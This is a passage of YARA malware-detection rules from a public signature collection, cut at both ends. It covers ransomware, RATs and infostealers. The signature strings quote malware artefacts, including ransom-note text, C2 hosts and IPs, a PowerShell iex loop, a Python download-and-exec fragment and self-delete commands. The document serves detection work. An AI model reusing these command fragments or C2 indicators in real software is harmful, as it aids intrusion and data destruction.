		$x4 = "EncryptionStarted" fullword ascii
		$x5 = "encryptFilesGroup" fullword ascii
		$x6 = "Your data will be undecryptable" ascii
		$x7 = "- Do not fool yourself. Encryption has perfect secrecy" ascii
		$v1_1 = ".EncryptFiles." ascii
		$v1_2 = ".EncryptFilename." ascii
		$v1_3 = ")*struct { F uintptr; .autotmp_14 string }" ascii
		$v1_4 = "D*struct { F uintptr; data *[]uint8; seed *uint8; fnc *main.decFunc }" ascii
		$v1_5 = "golang.org/x/sys/windows.getSystemWindowsDirectory" ascii
		$v1_6 = "path/filepath.WalkDir" ascii
		$v2_1 = "taskkill /f /im" ascii
		$v2_2 = "schtasks /delete /tn" ascii
		$v2_3 = "encfile.txt" ascii
		$v2_4 = "README.html" ascii
		$v2_5 = "total encrypt %v/%v" ascii
		$v2_6 = "<b>ITSSHOWKEY</b>" ascii
		$v2_7 = "Recovery your files." ascii
		$v2_8 = "yaml:\"send_host\"" ascii
		$v2_9 = "yaml:\"ignore_dir\"" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $url* ) or all of ( $s* ) or 4 of ( $x* ) or 5 of ( $v1* ) or 5 of ( $v2* ) or ( 4 of ( $v2* ) and #v2_1 > 10 ) )
}

rule DITEKSHEN_MALWARE_Win_Spyro : FILE
{
	meta:
		description = "Detects Spyro / VoidCrypt / Limbozar ransomware"
		author = "ditekSHen"
		id = "8b3273c4-827e-50ce-983e-a5843f6b5a78"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L6649-L6675"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "2e3be361f6d4283fd312a4486eaa39d6594813937cc3f62dbb603babeff17929"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Decrypt-info.txt" ascii wide
		$s2 = "AbolHidden" ascii wide
		$s3 = "C:\\ProgramData\\prvkey" ascii wide
		$s4 = ".?AV?$TF_CryptoSystemBase@VPK_Encryptor@CryptoPP" ascii
		$s5 = "C:\\Users\\LEGION\\" ascii
		$s6 = "C:\\ProgramData\\pkey.txt" fullword ascii
		$s7 = ".Spyro" fullword ascii
		$m1 = "Go to C:\\ProgramData\\ or in Your other Drives" wide
		$m2 = "saving prvkey.txt.key file will cause" wide
		$m3 = "in Case of no Answer:" wide
		$m4 = "send us prvkey*.txt.key" wide
		$m5 = "Somerhing went wrong while writing payload on disk" ascii
		$m6 = "this country is forbidden.\"}" ascii
		$c1 = "Voidcrypt/1.0" ascii
		$c2 = "h1dd3n.cc" ascii
		$c3 = "/voidcrypt/index.php" ascii
		$c4 = "&user=" ascii
		$c5 = "&disk-size=" ascii
		$c6 = "unique-id=" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 5 of ( $s* ) or 4 of ( $c* ) or 3 of ( $m* ) or 8 of them )
}

rule DITEKSHEN_MALWARE_Win_Darkvnc : FILE
{
	meta:
		description = "Detects DarkVNC"
		author = "ditekSHen"
		id = "3c7d215c-fcca-5a0f-b59c-d84fd894677a"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L6677-L6696"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "b0dbde04c0a05e476d505b92cf7dbf3b4ef0dd9e88eafcd21b7a7d0e3623abbd"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "USR-%s(%s)_%S-%S%u%u" fullword wide
		$s2 = "BOT-%s(%s)_%S-%S%u%u" fullword wide
		$s3 = "USR-UnicodeErr(Err)_%s-%s%u%u" fullword ascii
		$s4 = "BOT-UnicodeErr(Err)_%s-%s%u%u" fullword ascii
		$s5 = "PRM_STRG" fullword wide
		$s6 = "bot_shell >" ascii
		$s7 = "monitor_off / monitor_on" ascii
		$s8 = "kbd_off / kbd_on" ascii
		$s9 = "ActiveDll: Dll inject thread for process 0x%x terminated with status: %u" ascii
		$s10 = "PsSup: File %s successfully started with parameter \"%s\"" ascii
		$s11 = "PsSup: ShellExecute failed. File: %s, error %u" ascii
		$s12 = "#hvnc" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 5 of them
}

rule DITEKSHEN_MALWARE_Win_Avoslocker : FILE
{
	meta:
		description = "Hunt for AvosLocker ransomware"
		author = "ditekSHen"
		id = "390e57b2-207e-5013-899a-0b04aa63a56f"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L6748-L6757"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "85601fdd13ddeb1fc0b8b98eb68e324046d60c1ae9467d083a75abebcb50e3a0"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "GET_YOUR_FILES_BACK.txt" ascii wide
		$s2 = ".avos" fullword ascii wide
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule DITEKSHEN_MALWARE_Win_Margulasrat : FILE
{
	meta:
		description = "Detects MargulasRAT"
		author = "ditekSHen"
		id = "6efabf80-9194-542d-afd2-9bf9c8e26e55"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L6786-L6810"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "dd5b94c947d97cdc34032f2cb84b4975a1e8f510638857fb6dbe553bcff7d16e"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$pdb1 = "G:\\VP-S-Fin\\memory\\" ascii
		$pdb2 = "G:\\VP-S-Fin\\Margulas\\" ascii
		$pdb3 = "G:\\VP-S-Fin\\remote" ascii
		$pdb4 = "G:\\VP-S-Fin\\" ascii
		$s1 = "/C choice /C Y /N /D Y /T 1 & Del " fullword wide
		$s2 = "strToHash" fullword ascii
		$s3 = "\\socking" fullword wide
		$s4 = "\\wininets" fullword wide
		$s5 = "ClientSocket" fullword ascii
		$s6 = "new Stream()" fullword wide
		$s7 = "CipherText" fullword ascii
		$s8 = "WriteAllBytes" fullword ascii
		$s9 = { 00 50 72 6f 63 65 73 73 00 45 78 69 73 74 73 00}
		$s10 = "pxR/THCwdLuruMmw8wB8xAUvbno1yPGBTOV9IoOkAp/n7+paQm74pkzlfSKDpAKfTOV9IoOkAp9M5X0ig6QCn0zlfSKDpAKfTOV9IoOkAp" wide
		$c1 = "149.248.52.61" wide
		$c2 = "://vpn.nic.in" wide
		$c3 = "://www.mod.gov.in/dod/sites/default/files/" wide
	condition:
		uint16( 0 ) == 0x5a4d and ( ( 1 of ( $pdb* ) and ( 1 of ( $c* ) or 3 of ( $s* ) ) ) or ( 1 of ( $c* ) and 3 of ( $s* ) ) or ( 6 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Lilithrat : FILE
{
	meta:
		description = "Detects LilithRAT"
		author = "ditekSHen"
		id = "87e56524-f557-5662-86bc-2b26e7c74aee"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L6812-L6839"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "1e8ac8a329ff99318e12666ea1d90d21bb9b0dff656a5eb1ce741b940c99afd5"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "132870a1ae6a0bdecaa52c03cfe97a47df8786f148fa8ca113ac2a8d59e3624a"
		hash2 = "ab7b6e0b28995bdeea44f20c0aba47f95e1d6ba281af3541cd2c04dc6c2a3ad9"
		hash3 = "b2eeb487046ba1d341fb964069b7e83027b60003334e04e41b467e35c3d2460f"
		hash4 = "cebcda044c60b709ba4ee0fa9e1e7011a6ffc17285bcc0948d27f866ec8d8f20"
	strings:
		$pdb1 = "c:\\Users\\Groovi\\Documents\\Visual Studio 2008\\Projects\\TestDll\\" ascii
		$pdb2 = "C:\\Users\\iceberg\\Downloads\\RAT-Server-master\\RAT-Server-master\\RAT\\Debug\\RAT.pdb" ascii
		$pdb3 = "C:\\Users\\Samy\\Downloads\\Compressed\\Lilith-master\\Debug\\Lilith.pdb" ascii
		$s1 = "log.txt" fullword ascii
		$s2 = "keylog.txt" fullword ascii
		$s3 = "File Listing Completed Successfully." fullword ascii
		$s4 = "Download Execute" fullword ascii
		$s5 = "File Downloaded and Executed Successfully." fullword ascii
		$s6 = "C:\\WINDOWS\\system32\\cmd.exe" fullword ascii
		$s7 = "CMD session closed" ascii
		$s8 = "Restart requested: Restarting self" fullword ascii
		$s9 = "Termination requested: Killing self" fullword ascii
		$s10 = "Couldn't write to CMD: CMD not open" fullword ascii
		$s11 = "keydump" fullword ascii
		$s12 = "remoteControl" fullword ascii
		$s13 = "packettype" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 1 of ( $pdb* ) or 6 of ( $s* ) or ( 1 of ( $pdb* ) and 4 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Epicenterrat : FILE
{
	meta:
		description = "Detects EpicenterRAT"
		author = "ditekSHen"
		id = "6abe6e94-d7f5-5f88-96a6-a8fad599ef6a"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L6841-L6863"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "e9086dff22e301f57c6a9bdb38fbed8e902d5b8ca20a5e5b3cda56db08d5582e"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$pdb1 = "c:\\Users\\Zombie\\Desktop\\MutantNinja\\" ascii
		$pdb2 = "\\Epicenter Client\\" ascii
		$s1 = "PROCESS_LIST<%SEP%>" fullword wide
		$s2 = "GETREADY_RECV_FILE<%SEP%>" fullword wide
		$s3 = "DISPLAY<%SEP%>" wide
		$s4 = "GETSCREEN<%SEP%>" fullword wide
		$s5 = "dumpImageName" fullword ascii
		$s6 = "dumpLoc" fullword ascii
		$s7 = "EXPECT<%SEP%>filelist<%SEP%>" fullword wide
		$s8 = "<%FSEP%>FOLDER<%FSEP%>-<%SEP%>" fullword wide
		$s9 = "KILLPROC<%SEP%>" fullword wide
		$s10 = "LAUNCHPROC<%SEP%>" fullword wide
		$s11 = "cmd.exe /c start /b " fullword wide
		$s12 = "savservice" fullword wide
		$s13 = "getvrs" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 1 of ( $pdb* ) or 5 of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Win_Lastconn : FILE
{
	meta:
		description = "Detects LastConn"
		author = "ditekSHen"
		id = "18727c30-d84d-5ffa-acd4-2cc54e553604"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L6865-L6894"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "94f5874353d0fb475595373c06a0de91603cad9b435d35dc00febf90608d6b5a"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "System.Net.Http.SysSR" fullword wide
		$s2 = "System.Net.Http.WrSR" fullword wide
		$s3 = "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK" fullword wide
		$s4 = { 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 0c 6e
               00 6f 00 74 00 69 00 66 00 79 00 04 06 12 80 e8
               05 00 00 12 80 e8 08 75 00 73 00 65 00 72 00 08
               74 00 65 00 61 00 6d 00 06 61 00 70 00 70 00 0c
               6e 00 6f 00 61 00 75 00 74 00 68 00 }
		$s5 = { 68 00 69 00 64 00 64 00 65 00 6e 00 10 64 00 69
               00 73 00 61 00 6c 00 6c 00 6f 00 77 00 0e 65 00
               78 00 74 00 65 00 6e 00 64 00 73 00 04 69 00 64
               00 16 75 00 6e 00 69 00 71 00 75 00 65 00 49 00
               74 00 65 00 6d 00 73 }
		$s6 = "<RunFileOnes>d__" ascii
		$s7 = "<UploadFile>d__" ascii
		$s8 = "<ChunkUpload>d__" ascii
		$s9 = "<StartFolder>d__" ascii
		$s10 = "<ReadFileAlw>d__" ascii
		$s12 = "<WriteFileToD>d__" ascii
		$s13 = "<ReadFile>d__" ascii
		$s14 = "<GetUpload>d__" ascii
		$s15 = "CDropbox.Api.DropboxRequestHandler+<RequestJsonStringWithRetry>d__" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 12 of them
}

rule DITEKSHEN_MALWARE_Win_Crimsonrat : FILE
{
	meta:
		description = "Detects CrimsonRAT"
		author = "ditekSHen"
		id = "54c9bbb2-9fa6-5c1f-9272-13255357ddbf"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L6896-L6920"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "a40cf09dbaafb2e7b9130af1b40e46b4c38fed6185b16435ad4c118f9e6d56c7"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run|" fullword wide
		$s2 = "system volume information|" fullword wide
		$s3 = "program files (x86)|" fullword wide
		$s4 = "program files|" fullword wide
		$s5 = "<SAVE_AUTO<|" fullword wide
		$s6 = "add_up_files" fullword ascii
		$s7 = "see_folders" ascii
		$s8 = "see_files" ascii
		$s9 = "see_scren" ascii
		$s10 = "see_recording" ascii
		$s11 = "see_responce" ascii
		$s12 = "pull_data" ascii
		$s13 = "do_process" ascii
		$s14 = "do_updated" ascii
		$s15 = "IPSConfig" fullword ascii
		$s16 = "#Runing|ver#" wide
		$s17 = "|fileslog=" wide
	condition:
		uint16( 0 ) == 0x5a4d and 6 of them
}

rule DITEKSHEN_MALWARE_Win_Nodachi : FILE
{
	meta:
		description = "Detects Nodachi infostealer"
		author = "ditekSHen"
		id = "bce0c44d-7e75-5c51-ba93-75bd81896921"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L6957-L6972"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "c8a262b862a47d5c0c9bd76b722aa4ceb55dd365b5dca35a61318d8a1c53269d"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "//AppData//Roaming//kavachdb//kavach.db" ascii
		$s1 = "/upload/drive/v3/files/{fileId}" ascii
		$s2 = "main.getTokenFromWeb" ascii
		$s3 = "main.tokenFromFile" ascii
		$s4 = "/goLazagne/" ascii
		$s5 = "/extractor/withoutdrive/main.go" ascii
		$s6 = "struct { Hostname string \"json:\\\"hostname\\\"\"; EncryptedUsername string \"json:\\\"encryptedUsername\\\"\"; EncryptedPassword string \"json:\\\"encryptedPassword\\\"\" }" ascii
		$s7 = "C://Users//public//cred.json" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( ( 1 of ( $x* ) and 3 of ( $s* ) ) or ( 4 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Iamthekingqueenofhearts : FILE
{
	meta:
		description = "IAmTheKing Queen Of Hearts payload"
		author = "ditekSHen"
		id = "b8d222f0-b3ce-5143-816b-4bbcde645672"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L6974-L6991"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "0aafeb1dce380ebe6cccc3c7f9564022e1a4cdcf20091943d2bfcc845129152d"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "{'session':[{'name':'" ascii
		$s2 = "begin mainthread ok" wide
		$s3 = "getcommand error" wide
		$s4 = "querycode error" wide
		$s5 = "Code = %d" wide
		$s6 = "cookie size :%d" wide
		$s7 = "send request error:%d" wide
		$s8 = "PmMytex%d" wide
		$s9 = "%s_%c%c%c%c_%d" wide
		$s10 = "?what@exception@std@@UBEPBDXZ" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 6 of them
}

rule DITEKSHEN_MALWARE_Win_Iamthekingqueenofclubs : FILE
{
	meta:
		description = "IAmTheKing Queen Of Clubs payload"
		author = "ditekSHen"
		id = "4d19a484-0483-5b3e-a9ad-1cd8ca263a04"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L6993-L7007"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "28d7d3e9a3b7c104fc5b0fa38ce33b34596f16f6987c34a0e2e3fd93a8a908bd"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Not Support!" fullword wide
		$s2 = "%s|%s|%s|%s" fullword wide
		$s3 = "cmd.exe" fullword wide
		$s4 = "for(;;){$S=Get-Content \"%s\";IF($S){\"\" > \"%s\";$t=iex $S 2>\"%s\";$t=$t+' ';echo $t >>\"%s\";}sleep -m " wide
		$s5 = "PowerShell.exe -nop -c %s" fullword wide
		$s6 = "%s \"%s\" Df" fullword wide
		$s7 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 5 of them
}

rule DITEKSHEN_MALWARE_Win_Biopass_Dropper : FILE
{
	meta:
		description = "Detects Go BioPass dropper"
		author = "ditekSHen"
		id = "56037c79-59f7-587c-8f54-c9618e871f34"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L7088-L7111"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "06f3b3ee38349ddcf9be7cbb7627d60fa673962409dde6e4badd112841a3ed19"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$go = "Go build ID:" ascii
		$s1 = "main.NetWorkStatus" ascii
		$s2 = "main.NoErrorRunFunction" ascii
		$s3 = "main.FileExist" ascii
		$s4 = "main.execute" ascii
		$s5 = "main.PsGenerator" ascii
		$s6 = "main.downFile" ascii
		$s7 = "main.Unzip" ascii
		$url1 = "https://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/" ascii
		$x1 = "SCHTASKS /Run /TN SYSTEM_CDAEMON" ascii
		$x2 = "SCHTASKS /Run /TN SYSTEM_SETTINGS" ascii
		$x3 = "SCHTASKS /Run /TN SYSTEM_TEST && SCHTASKS /DELETE /F /TN SYSTEM_TEST" ascii
		$x4 = ".exe /install /quiet /norestart" ascii
		$x5 = "exec(''import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\\''http" ascii
		$x6 = "powershell.exe -Command $" ascii
		$x7 = ".Path ='-----BEGIN RSA TESTING KEY-----" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $s* ) or 5 of ( $x* ) or ( 1 of ( $url* ) and ( $go ) ) or 9 of them )
}

rule DITEKSHEN_MALWARE_Win_A310Logger : FILE
{
	meta:
		description = "Detects A310Logger"
		author = "ditekSHen"
		id = "d2cf2f7b-5710-56ab-b13d-97a70fe7f618"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L7113-L7149"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "8205169c9c78eb784b9d07a5fd85ad3a54763452e1e315f7e7911b8ac49a6c01"
		score = 75
		quality = 73
		tags = "FILE"
		snort_sid = "920204-920207"
	strings:
		$s1 = "Temporary Directory * for" fullword wide
		$s2 = "HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\*RD_" wide
		$s3 = "@ENTIFIER=" wide
		$s4 = "ExecQuery" fullword wide
		$s5 = "MSXML2.ServerXMLHTTP.6.0" fullword wide
		$s6 = "Content-Disposition: form-data; name=\"document\"; filename=\"" wide
		$s7 = "CopyHere" fullword wide
		$s8 = "] Error in" fullword wide
		$s9 = "shell.application" fullword wide nocase
		$s10 = "SetRequestHeader" fullword wide
		$s11 = "\\Ethereum\\keystore" fullword wide
		$s12 = "@TITLE Removing" fullword wide
		$s13 = "@RD /S /Q \"" fullword wide
		$en1 = "Unsupported encryption" fullword wide
		$en2 = "BCryptOpenAlgorithmProvider(SHA1)" fullword wide
		$en3 = "BCryptGetProperty(ObjectLength)" fullword wide
		$en4 = "BCryptGetProperty(HashDigestLength)" fullword wide
		$v1_1 = "PW\\FILES\\SC::" wide
		$v1_2 = "AddAttachment" fullword wide
		$v1_3 = "Started:" fullword wide
		$v1_4 = "Ended:" fullword wide
		$v1_5 = "sharedSecret" fullword wide
		$v1_6 = "\":\"([^\"]+)\"" fullword wide
		$v1_7 = "\\credentials.txt" fullword wide
		$v1_8 = "WritePasswords" fullword ascii
		$v1_9 = "sGeckoBrowserPaths" fullword ascii
		$v1_10 = "get_sPassword" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 7 of ( $s* ) or ( 3 of ( $en* ) and 4 of ( $s* ) ) or ( 5 of ( $s* ) and 1 of ( $en* ) ) or 5 of ( $v1* ) or ( 4 of ( $v1* ) and 2 of ( $s* ) and 2 of ( $en* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Crylock : FILE
{
	meta:
		description = "Detects CryLock ransomware"
		author = "ditekSHen"
		id = "296288d8-2fdd-592a-aef9-7d4853885594"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L7151-L7186"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "dde35dd2c7e89212c4562f2dcf6a78d06fbb3d31150d49e6c48f758b07f1834f"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$s1 = "Encrypted by BlackRabbit. (BR-" ascii
		$s2 = "{ENCRYPTENDED}" ascii
		$s3 = "{ENCRYPTSTART}" ascii
		$s4 = "<%UNDECRYPT_DATETIME%>" ascii
		$s5 = "<%RESERVE_CONTACT%>" ascii
		$s6 = "how_to_decrypt.hta" ascii wide
		$s7 = "END ENCRYPT ONLY EXTENATIONS" ascii
		$s8 = "END UNENCRYPT EXTENATIONS" ascii
		$s9 = "END COMMANDS LIST" ascii
		$s10 = "END PROCESSES KILL LIST" ascii
		$s11 = "END SERVICES STOP LIST" ascii
		$s12 = "END PROCESSES WHITE LIST" ascii
		$s13 = "END UNENCRYPT FILES LIST" ascii
		$s14 = "END UNENCRYPT FOLDERS LIST" ascii
		$s15 = "Encrypted files:" ascii
		$s16 = { 65 78 74 65 6e 61 74 69 6f 6e 73 00 ff ff ff ff
                 06 00 00 00 63 6f 6e 66 69 67 00 00 ff ff ff ff
                 (0a|0d 0a) 00 00 00 63 6f 6e 66 69 67 2e 74 78 
                 74 00 00 ff ff ff ff 03 00 00 00 68 74 61 }
		$p1 = "-exclude" fullword
		$p2 = "-makeff" fullword
		$p3 = "-full" fullword
		$p4 = "-nolocal" fullword
		$p5 = "-nolan" fullword
		$p6 = "\" -id \"" fullword
		$p7 = "\" -wid \"" fullword
		$p8 = "\"runas\"" fullword
		$p9 = " -f -s -t 00" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 3 of ( $s* ) or 6 of ( $p* ) )
}

rule DITEKSHEN_MALWARE_Win_Deeprats : FILE
{
	meta:
		description = "Detects DeepRats ("
		author = "ditekSHen"
		id = "5b774e24-3864-519f-9cfd-d729d7d567a0"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L7188-L7218"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "511264c0b6932f90069a5206cd142ca7210b0bc40c51ef5aa9c41a161fb57aab"
		score = 75
		quality = 73
		tags = "FILE"
		hash1 = "1f8b7e1b14869d119c5de1f05330094899bd997fca4c322d852db85cbd9271e6"
	strings:
		$s1 = "https://freegeoip.live/json/https://myexternalip.com/rawin" ascii
		$s2 = "github.com/cretz/bine" ascii
		$s3 = "github.com/kbinani/screenshot" ascii
		$s4 = "socks5://%s:%d" ascii
		$s5 = "socks5://%s:%s@%s:%d" ascii
		$s6 = "http://%s:%d" ascii
		$s7 = "http://%s@%s:%d" ascii
		$s8 = "%SystemRoot%\\system32\\--CookieAuthentication" ascii
		$s9 = "tor_addr_" ascii
		$f1 = ".GetVnc" ascii
		$f2 = ".GetCommand" ascii
		$f3 = ".GetPayload" ascii
		$f4 = ".ListenCommands" ascii
		$f5 = ".ReceiveFile" ascii
		$f6 = ".RegisterImplant" ascii
		$f7 = ".Screenshot" ascii
		$f8 = ".SendFile" ascii
		$f9 = ".StartShell" ascii
		$f10 = ".UnregisterImplant" ascii
		$f11 = ".VncInstalled" ascii
		$f12 = ".PingPong" ascii
		$f13 = ".ListenCMD" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 7 of ( $s* ) or 8 of ( $f* ) )
}

rule DITEKSHEN_MALWARE_Win_Gasket : FILE
{
	meta:
		description = "Detects Gasket"
		author = "ditekSHen"
		id = "3afa131d-9c88-50df-a3b4-552db4a84e69"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L7220-L7250"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "0279979915891fc8c813ba555120ee5705b53b234a808b5ca77bff35a082e376"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$s1 = "main.checkGasket" ascii
		$s2 = "main.connectGasket" ascii
		$s3 = "/cert/trust/dev/stderr/dev/stdout/index.html" ascii
		$f1 = ".SetPingHandler." ascii
		$f2 = ".SetPongHandler." ascii
		$f3 = ".computeMergeInfo." ascii
		$f4 = ".computeDiscardInfo." ascii
		$f5 = ".readPlatformMachineID." ascii
		$f6 = ".(*Session).establishStream." ascii
		$f7 = ".(*Session).handleGoAway." ascii
		$f8 = ".(*Stream).processFlags." ascii
		$f9 = ".(*Session).handlePing." ascii
		$f10 = ".(*windowsService).Install." ascii
		$f11 = ".(*windowsService).Uninstall." ascii
		$f12 = ".(*windowsService).Status." ascii
		$f13 = ".getStopTimeout." ascii
		$f14 = ".DialContext." ascii
		$f15 = ".WriteControl." ascii
		$f16 = ".(*Server).authenticate." ascii
		$f17 = ".(*Server).ServeConn." ascii
		$f18 = ".(*TCPProxy).listen." ascii
		$f19 = ".UserPassAuthenticator.Authenticate." ascii
		$f20 = ".(*InfoPacket).XXX_" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $s* ) or 16 of ( $f* ) )
}

rule DITEKSHEN_MALWARE_Win_Lu0Bot : FILE
{
	meta:
		description = "Detects Lu0Bot"
		author = "ditekSHen"
		id = "f8595553-b911-5e30-9ece-cad7d5913f19"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L7274-L7285"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "b4822248230a804b1dc75f8d517af28a621dab1746c9ef45eaa4754149ce0cba"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "WinExec" fullword ascii
		$s2 = "AlignRects" fullword ascii
		$o1 = { be 00 20 40 00 89 f7 89 f0 81 c7 a? 01 00 00 81 }
		$o2 = { 53 50 e8 b0 01 00 00 e9 99 01 00 00 e8 ae 01 00 }
	condition:
